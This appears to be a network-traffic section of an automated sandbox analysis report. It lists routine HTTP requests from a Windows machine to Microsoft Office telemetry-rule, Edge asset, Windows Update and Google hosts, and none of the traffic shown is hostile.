Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /clientwebservice/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: fe3cr.delivery.mp.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sls/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=eNHNM2cUaCzws2c&MD=1L+Ngsmd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=eNHNM2cUaCzws2c&MD=1L+Ngsmd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
